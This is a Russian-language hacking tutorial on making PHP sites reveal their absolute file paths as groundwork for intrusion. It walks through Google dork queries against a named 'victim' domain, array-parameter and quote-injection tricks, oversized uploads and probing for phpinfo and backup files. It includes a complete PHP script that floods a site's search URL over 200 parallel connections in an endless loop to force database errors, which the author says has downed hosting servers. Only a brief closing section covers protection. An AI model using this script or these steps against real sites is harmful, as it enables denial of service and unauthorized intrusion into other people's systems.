Любой мало-мальски серьезный взлом требует основательной подготовки, анализа сервера, самого сайта, софта. Пока мы не попали внутрь, мы не знаем иерархии сервера и не можем адекватно ориентироваться в путях. Например, документ index.php может лежать как в /home/target.com/docs/index.php, так и в любом месте с похожим, а порою вовсе не похожим адресом. Чтобы знать точно иерархию, надо встать на колени перед сервером, помолиться и попросить его "раскрыть путь" — что по англицки значится как "path disclosure".

Для чего использовать эту информацию? Ну например: у вас есть уязвимость на локальный include и возможность закачать аттачмент на форум — но вы не знаете, какой адрес (даже относительный) у папки аттачментов форума, а наугад найти не получилось. Приходится искать другими методами — более осмысленными — большая часть из них описана ниже.

Поскольку примерно половина скриптов в мире написано на языке php, я буду говорить про раскрытие пути в PHP-скриптах, кстати, смею заметить, именно в php это сделать легче всего, разработчики не поскупились — почти в любой ошибке указан абсолютный адрес файла :).

Google — первый помощник в делах путевых

Самый простой, и чаще всего самый эффективный способ найти "баги" — использовать Google. Во-первых, он лучше всех индексирует ошибки, во-вторых, у него есть кэш, который нам и понадобится. Если не выключены ошибки (если выключены — найти путь в сотню раз сложнее), то при обработке бажного скрипта на экран выведется что-то вроде

Warning: Cannot modify header information — headers already sent by (output started at /home/local/Web/sites/www.php.net/include/site.inc:155) in /home/local/Web/sites/www.php.net/include/layout.inc on line 80

Вот путь и раскрыт. (Надо заметить, что раскрывается абсолютный путь, что очень полезно). Нам надо найти такие бажные страницы на заданном сервере. Простые примеры запросов для поиска кривых страниц через google:

"headers already sent" site:victim.ru — ошибки при отправке хидеров самые популярные.
"mysql_connect" site:victim.ru — mysql очень любит ругаться, почем зря. Мы тоже любим mysql 😉
"failed to open stream" site:victim.ru — ошибки, связанные с чтением файлов.

Если всё это не помогает, можно попробовать поискать просто "Warning" — и долго копаться в результатах. Самое интересное, что часто баги, которые находит гугл, могут быть уже закрыты (например, ошибка too many connections в mysql — штука редкая, временная, но полезная). В таких случаях надо не забывать про пимпу "Сохранено в кэше", которая есть рядом почти с каждым результатом в гугле. На странице кэша любезно сохранена вся информация об ошибке, вместе с путем.

Если поисковик не выдал интересных результатов, отчаиваться не стоит. Гугл всё равно крут, попробуй найти поддомены для анализируемого сайта — простой запрос inurl:nasa.gov выдаст все проиндексированные поддомены сайта, на которых тоже можно поискать "path disclosure". Для всех поисков можно написать автомат-парсер, и это довольно просто, но придумано для лентяев (или тех, кто ломает по 500 сайтов в день), поэтому описывать его здесь не вижу смысла.

Поиск информации о "path disclosure" для конкретных приложений

Всегда можно пойти путем скрипт кидисов и залезть на багтрек. К примеру, на сервере стоит phpMyAdmin версии 2.6.*, и доступ к панели залогинивания мы уже нашли. Нам опять поможет священный гугль — запрос phpmyadmin 2.6 path disclosure порадует нас обилием подсказок. Самое интересное, что далеко не каждая компания, пишущая софт, спешит залатать такие баги в своих ваяниях. Почти всегда можно найти какой-нибудь глупый скрипт, который так и говорит "ну узнай же у меня путь, возьми меня!".

Ручные методы — работает даже на wwwphp.net 😉

Начать ручное сканирование можно с осмотра страниц — тыкай себе разные кнопки и ссылки, есть вероятность, что что-нибудь, да отыщешь. Говённый метод, надо сказать, хотя не раз помогал. Мой любимый способ — это передача массивов. Чтобы не вдаваться в детали, могу сразу привести пример на незабвенном php.net.

http://php.net/?lang[]=hacked тут же расскажет нам, где деньги лежат (кстати, покажет много интересных вещей — например, ссылку на http://php.net/include/site.inc).

Так-то, а кто-то ещё говорил, что path disclosure — очень слабая уязвимость! Как видно из ссылки, уязвимость кроется в паре квадратных скобок, а именно при их помощи задаётся массив в php. Их можно загонять в любые переменные, передаваемые на сервер — добавляем в конце квадратные скобки и злобненько хихикаем. Далеко не всегда выходит проделать такое в адресной строке. Но есть же ещё формочки и незабвенный, а также редко проверяемый метод "POST". Достаточно сохранить страницу с формой для залогинивания, подправить немного код (например: <input type="text" name="login[shit]">) и нажать на сабмит. Все эти вещи в большой степени касаются и cookies — чем сложнее снаружи подделать, тем
реже идут проверки. Хотя и проверки бывают очень кстати — если логин проверяется preg_match — то php выдаст ошибку применения массива в регулярном выражении и наш любимый "path disclosure". Защита может служить для нападения.

Ещё один неплохой способ — sql injection. Передавайте кавычки в разные переменные — возможно, вы найдете там sql injection. Вполне вероятно, он будет очень плохонький и не даст вам ничего сделать с самой базой данных… Но вы наверняка увидите что-то на подобие такой ошибки:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /opt/www/data/dealers/howtofindus.html on line 34

Как видно из описания ошибки, она наступает, когда есть проблемы с ответом от сервера. Чтобы вызвать такую ошибку, можно попробовать передавать разные цифровые данные в переменные (например, отрицательные номера анкет, текст вместо цифр и т.п). Редкий, но интересный способ — это закачка на сервер — если вам разрешено закачивать файлы на сервер (ещё лучше — конкретно картинки), то можно попробовать закачать файл на 10-30 мегабайт — тут возможны несколько вариантов ошибок:

    После закачки файл обрабатывается, и скрипту не хватает памяти, чтобы его загрузить (ошибка о нехватки памяти выведет путь).
    Если файл — картинка, после закачки, например, уменьшается до каких-то размеров — то ошибка внутри файла может вызвать ошибку обработчика, с всё тем же "path disclosure".
    Обработка файла будет длиться долго и вызовет ошибку слишком долгого выполнения скрипта.

Да и вообще, если у вас вышло загрузить сервер работой, можно добиться третьей ошибки без особых проблем. Обычно на хостингах время выполнения скрипта ограничено 20-30 секундами.

Поиск наобум.

Если пришлось дойти до этого, значит дела совсем плохи. Отчаиваться не надо — это будем делать, когда пиво кончится.

    Ищем скрипты. Сначала такие вещи, как "phpinfo.php", "info.php","test.php" ,"1.php" и другие подобные названия, в которых может вызываться функция phpinfo(), которая расскажет нам даже больше, чем мы заслуживаем.
    Смотрим, какие скрипты уже есть на сервере и ищем их бекапы: "1index.php","index2.php","_index.php","index_old.php". бекапы часто бывают бажные и выдают массу ошибок. Кроме того, можно поискать разные папки — вдруг там глючные файлы?
    Если на сайте есть гостевая книга (левый форум, голосование и т.п.), но информации про раскрытие пути в сети не нашлось, надо понять, что за скрипты и каких версий стоят, скачать их у производителя и посмотреть изнутри — все ли переменные адекватно фильтруются? 90% таких поисков оканчиваются успехом.

Немного про DOS атаку

Мы не нашли ничего. Нам не помог гугл и багтрек — и вообще, на сайте стоит только какая-то неуязвимая CMS. Как быть? Что делать? Атаковать! Я не зря писал про "хорошие" ошибки mysql. Too many connections — это наше всё. Но как вывести из строя сайт хотя бы на пару минут? Прямой дос-атакой на php скрипт.

Вот план нашей атаки:

    Найти url на сайте, который создает максимальную нагрузку на сервер (точнее на базу данных), чаще всего это url поиска, или вывода пары сотен сообщений на экран.
    Как угодно, но быстро и много раз попросить сервер выполнить этот скрипт.
    Следить — не начнёт ли ресурс выдавать mysql ошибки (иногда бывают и ошибки времени исполнения, тоже хорошо).

Итак, предположим мы нашли урл, который грузится две секунды и выдают нам в браузер мегабайт чего-то там (я не имею в виду файл на мегабайт — это должна быть информация из базы данных!)

http://victim.ru/search.php?find=a — пусть оно выводит все сообщения, в которых есть буква "а"

Нам абсолютно не хочется, чтобы сервер грузил нас метрами мусора — поэтому мы должны ограничиваться только запросами к серверу, не читая ответ. Это делается таким php-скриптом:

КОД

<?
$site='victim.ru/search.php?find=a'; # адрес сайта без http://
$addr=explode('/',$site,2); # делим адрес на адрес сервера и адрес скрипта
$ip=gethostbyname($addr[0]); # узнаём IP сервера

# Составляем запрос документа:
$request= 'GET /' . $addr[1]. ' HTTP/1.0' . "\r\n";
$request .= "Accept: */*\r\n";
$request .= "Host: " . $addr[0] . "\r\n\r\n";

while(true) # пусть атакует вечно ;)
{
for($i=1;$i<=200;$i++) # будем использовать 200 соединений с сервером одновременно! (можно менять, но больше - не всегда лучше)
{
$f[$i]=NULL; # сбрасываем дескриптор
while(!$f[$i]) # пока дескриптор пустой, будем слать запросы на сервер
{
$f[$i]=@fsockopen($ip, 80, $errno, $errstr, 5); # 5 - это таймаут, можно менять.
}
$r=@fwrite($f[$i],$request); # отправляем наш злобный запрос серверу
}

# закрываем все открытые дескрипторы
for($i=1;$i<=200;$i++)@fclose($f[$i]);
}
?>

Скрипт будет атаковать сервер со скоростью открытия соединения, а не скачивания результата. На результат наш скрипт вообще плевал. Чтобы регулировать скорость работы, можно менять количество открываемых соединений (здесь = 200) и количество одновременно запущенных скриптов (скажу, что с adsl линии у меня падали сервера серьезных хостеров, не говоря о дешевом collocation’е). Так что не переусердствуйте — вам надо положить не сервер, а только напрячь базу данных.

Защищаем свои сайты

Как же защитить свой сайт от "path disclosure"? Тут могу дать несколько разных советов:

    Не используйте софт сторонних фирм, пишите сами и сами проверяйте переменные.
    Проверьте вышеприведенными методами свой сайт — всё ли в порядке?
    Всегда можно отключить ошибки в скрипте, поставив в начало директиву error_reporting(0);

Примеры защиты переменных:

$index=(int)$_GET[‘index’]; — защищает переменную сразу и от кавычек с текстом, и от массивов.
if(is_array($_POST[‘login’]))die(‘гадский хакер!’); — прямая проверка на массив.

Помните, большинство функций в PHP неадекватно работает с целыми массивами — всегда проверяйте, что вы им скармливаете.